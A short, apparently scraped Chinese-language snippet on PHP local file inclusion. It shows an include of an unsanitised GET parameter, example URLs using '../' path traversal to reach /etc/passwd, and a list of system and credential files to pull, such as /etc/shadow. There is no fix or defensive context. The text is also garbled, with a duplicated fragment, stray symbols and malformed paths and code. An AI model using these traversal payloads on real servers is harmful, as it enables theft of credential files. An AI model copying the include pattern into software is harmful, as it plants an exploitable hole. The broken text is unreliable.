php 偽造本機檔案包含漏洞的程式碼

程式碼如下: 
$page=$_GET['page']; 
include($page.'php'); 
?> 

你可以這樣使用
http
?> 

你可以這樣使用
http://www.xxx.com /index.php?page=../etc/passwd 
http://www.xxx.com/index.php?page=../../../etc/passwd 
http://www.xxx .com/index.php?page=..../../etc/passwd 

取得更多資料: 
etc/profile 
etc/services 
/etc/passwd 
/etc/shadow 
/c/group
/etc/security/group 
/etc/security/passwd 

/etc/security/user 🎜/etc/security/environ 🎜/etc/security/userits